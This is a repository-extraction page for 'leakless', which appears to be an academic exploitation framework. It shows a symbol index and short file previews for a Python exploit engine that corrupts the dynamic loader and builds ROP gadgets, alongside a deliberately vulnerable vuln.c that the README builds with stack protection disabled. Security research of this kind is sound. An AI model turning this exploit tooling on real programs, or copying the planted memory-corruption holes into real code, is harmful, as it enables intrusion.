method __init__ (line 56) | def __init__(self):
method allocate_helpers (line 61) | def allocate_helpers(self, buffer):
method add_gadget (line 64) | def add_gadget(self, architecture, name, info, gadget):
method get_gadget (line 70) | def get_gadget(self, name):
method config_from_elf (line 75) | def config_from_elf(self, path):
method get_non_writeable_segment (line 213) | def get_non_writeable_segment(self, address):
method read_non_writeable (line 221) | def read_non_writeable(self, address, size):
method section_from_address (line 229) | def section_from_address(self, address):
method closest_section_from_address (line 238) | def closest_section_from_address(self, address):
method dump (line 245) | def dump(self):
method ptr2str (line 253) | def ptr2str(self, integer):
method str2ptr (line 261) | def str2ptr(self, string):
method write_all (line 270) | def write_all(self, start, string):
method flush (line 282) | def flush(self, buffer):
method write_string (line 304) | def write_string(self, memory_area, string, buffered=True):
method write_pointer (line 321) | def write_pointer(self, memory_area, pointer, buffered=True):
method create_relocation (line 325) | def create_relocation(self, buffer, symbol_index, align_to=None):
class CraftDlStructsExploit (line 348) | class CraftDlStructsExploit(Exploit):
method jump_to (line 350) | def jump_to(self, buffer, function_name_max_length):
class CorruptLdSoExploit (line 420) | class CorruptLdSoExploit(Exploit):
method jump_to (line 422) | def jump_to(self, buffer, function_name_max_length):
function launch (line 539) | def launch(exploit, program):
function invoke (line 574) | def invoke(exploit, exploit_info, parameters):
function main (line 622) | def main():
FILE: memory.py
class AllocateFailException (line 5) | class AllocateFailException(Exception):
class Buffer (line 8) | class Buffer:
method __init__ (line 11) | def __init__(self, exploit, ranges):
method allocate (line 19) | def allocate(self, size, align_to=None, alignment=None, name=None, con...
method cleanup_ranges (line 52) | def cleanup_ranges(self):
method dump (line 55) | def dump(self):
class MemoryArea (line 61) | class MemoryArea:
method __init__ (line 62) | def __init__(self, exploit, start, size, align_to=None, alignment=None):
method dump (line 86) | def dump(self):
FILE: plugins/CommonGadgetsExploit.py
class CommonGadgetsExploit (line 4) | class CommonGadgetsExploit(Exploit):
method __init__ (line 7) | def __init__(self):
method allocate_helpers (line 168) | def allocate_helpers(self, buffer):
method deref_with_offset_and_save (line 178) | def deref_with_offset_and_save(self, pointer_address, offset, save_add...
method write_with_offset (line 185) | def write_with_offset(self, pointer_address, offset, value):
method copy_to_stack (line 191) | def copy_to_stack(self, offset, source):
method call (line 207) | def call(self, invocation, parameters):
method call32 (line 220) | def call32(self, invocation, parameters):
method call64 (line 232) | def call64(self, invocation, parameters):
method call_arm (line 264) | def call_arm(self, invocation, parameters):
method do_writemem (line 288) | def do_writemem(self, address, value):
method memcpy (line 304) | def memcpy(self, destination, data):
function register_gadget_provider (line 346) | def register_gadget_provider():
FILE: plugins/RawDumperExploit.py
class RawDumperExploit (line 3) | class RawDumperExploit(Exploit):
method __init__ (line 4) | def __init__(self):
method do_writemem (line 8) | def do_writemem(self, address, value):
method write_with_offset (line 12) | def write_with_offset(self, pointer_address, offset, value):
method deref_with_offset_and_save (line 15) | def deref_with_offset_and_save(self, pointer_address, offset, save_add...
function register_gadget_provider (line 18) | def register_gadget_provider():
FILE: rangeset.py
class _Indeterminate (line 41) | class _Indeterminate(object):
method timetuple (line 42) | def timetuple(self):
method __eq__ (line 44) | def __eq__(self, other):
class _Infinity (line 47) | class _Infinity(_Indeterminate):
method __lt__ (line 48) | def __lt__(self, other):
method __gt__ (line 50) | def __gt__(self, other):
method __str__ (line 52) | def __str__(self):
class _NegativeInfinity (line 56) | class _NegativeInfinity(_Indeterminate):
method __lt__ (line 57) | def __lt__(self, other):
method __gt__ (line 59) | def __gt__(self, other):
method __str__ (line 61) | def __str__(self):
class RangeSet (line 68) | class RangeSet(_parent):
method __new__ (line 69) | def __new__(cls, start, end):
method __merged_ends (line 81) | def __merged_ends(self, *others):
method __coerce (line 89) | def __coerce(cls, value):
method __iterate_state (line 98) | def __iterate_state(cls, ends):
method __or__ (line 107) | def __or__(self, *other):
method __and__ (line 120) | def __and__(self, *other, **kwargs):
method __ror__ (line 135) | def __ror__(self, other):
method __rand__ (line 138) | def __rand__(self, other):
method __rxor__ (line 141) | def __rxor__(self, other):
method __xor__ (line 144) | def __xor__(self, *other):
method __contains__ (line 161) | def __contains__(self, test):
method issuperset (line 177) | def issuperset(self, test):
method __gt__ (line 187) | def __gt__(self, other):
method issubset (line 190) | def issubset(self, other):
method __lt__ (line 195) | def __lt__(self, other):
method isdisjoint (line 198) | def isdisjoint(self, other):
method __nonzero__ (line 201) | def __nonzero__(self):
method __invert__ (line 204) | def __invert__(self):
method __sub__ (line 226) | def __sub__(self, other):
method difference (line 229) | def difference(self, other):
method __rsub__ (line 232) | def __rsub__(self, other):
method measure (line 235) | def measure(self):
method range (line 242) | def range(self):
method __str__ (line 249) | def __str__(self):
method __eq__ (line 256) | def __eq__(self, other):
method __ne__ (line 266) | def __ne__(self, other):
method __hash__ (line 269) | def __hash__(self):
method mutual_overlaps (line 273) | def mutual_overlaps(cls, *ranges, **kwargs):
method mutual_union (line 280) | def mutual_union(cls, *ranges):
method min (line 284) | def min(self):
method max (line 288) | def max(self):
method __iter__ (line 291) | def __iter__(self):
class LogicError (line 304) | class LogicError(ValueError):
FILE: utils.py
function align (line 6) | def align(address, base, of):
function hex_bytes (line 10) | def hex_bytes(string):
function findall (line 13) | def findall(sub, string, addend):
function find_all_strings (line 22) | def find_all_strings(sections, string):
function find_string (line 26) | def find_string(sections, string):
function first_or_none (line 30) | def first_or_none(list):
function log (line 33) | def log(string):
function chunks (line 37) | def chunks(l, n):
function integer_to_bigendian (line 41) | def integer_to_bigendian(n):
function bigendian_to_integer (line 47) | def bigendian_to_integer(string):
function pairwise (line 50) | def pairwise(iterable):
function filter_none (line 56) | def filter_none(list):
function insert_and_replace (line 59) | def insert_and_replace(original, insert, offset):
FILE: vuln.c
function play_with_stack (line 16) | int play_with_stack(int i) {
function add (line 24) | void add(int *a, int b) {
function mem_to_mem (line 28) | void mem_to_mem(int *dst, int *src) {
function writemem (line 32) | void writemem(void **in, void *val) {
function do_read (line 36) | int do_read() {
function deref_and_write_with_offset (line 41) | void deref_and_write_with_offset() {
function deref_with_offset_and_save (line 49) | void deref_with_offset_and_save() {
function copy_to_stack (line 57) | void copy_to_stack() {
function load_memcpy (line 65) | void load_memcpy() {
function args (line 75) | void args() {
function main (line 81) | int main() {
Condensed preview — 11 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (81K chars).
[
{
"path": ".gitignore",
"chars": 30,
"preview": "*.idb\n*.o\n*.pyc\n*.gdb_history\n"
},
{
"path": "CMakeLists.txt",
"chars": 4398,
"preview": "cmake_minimum_required(VERSION 2.6)\nproject(leakless)\n\nset(VULN vuln.c)\nset(EXPLOIT exploit.py)\n\n# Compiler flags\n# ===="
},
{
"path": "README.md",
"chars": 4078,
"preview": "How to test\n===========\n\n1. Build vuln.c\n\n gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2\n\n2. Find the off"
},
{
"path": "exploit.py",
"chars": 36043,
"preview": "#!/usr/bin/env python\n\nimport os\nimport sys\nimport glob\nimport json\nimport argparse\nimport operator\nimport struct\nimport"
},
{
"path": "memory.py",
"chars": 4318,
"preview": "from rangeset import RangeSet\n\nfrom utils import align, chunks, log\n\nclass AllocateFailException(Exception):\n pass\n\nc"
},
{
"path": "plugins/CommonGadgetsExploit.py",
"chars": 15527,
"preview": "from exploit import Exploit\nfrom utils import insert_and_replace\n\nclass CommonGadgetsExploit(Exploit):\n \"\"\"Mainly add"
},
{
"path": "plugins/RawDumperExploit.py",
"chars": 711,
"preview": "from exploit import Exploit\n\nclass RawDumperExploit(Exploit):\n def __init__(self):\n Exploit.__init__(self)\n "
},
{
"path": "plugins/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "rangeset.py",
"chars": 9073,
"preview": "\"\"\"\nThis module provides a RangeSet data structure. A range set is, as the\nname implies, a set of ranges. Intuitively, y"
},
{
"path": "utils.py",
"chars": 1626,
"preview": "import itertools\nimport sys\n\nverbose = False\n\ndef align(address, base, of):\n offset = (address - base) % of\n retur"
},
{
"path": "vuln.c",
"chars": 1991,
"preview": "// Don't include unistd.h otherwise a secure version of read will be used\n// #include <unistd.h>\n\n// #include <alloca.h>"
}
]
About this extraction
This page contains the full source code of the ucsb-seclab/leakless GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 11 files (76.0 KB), approximately 19.4k tokens, and a symbol index with 122 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.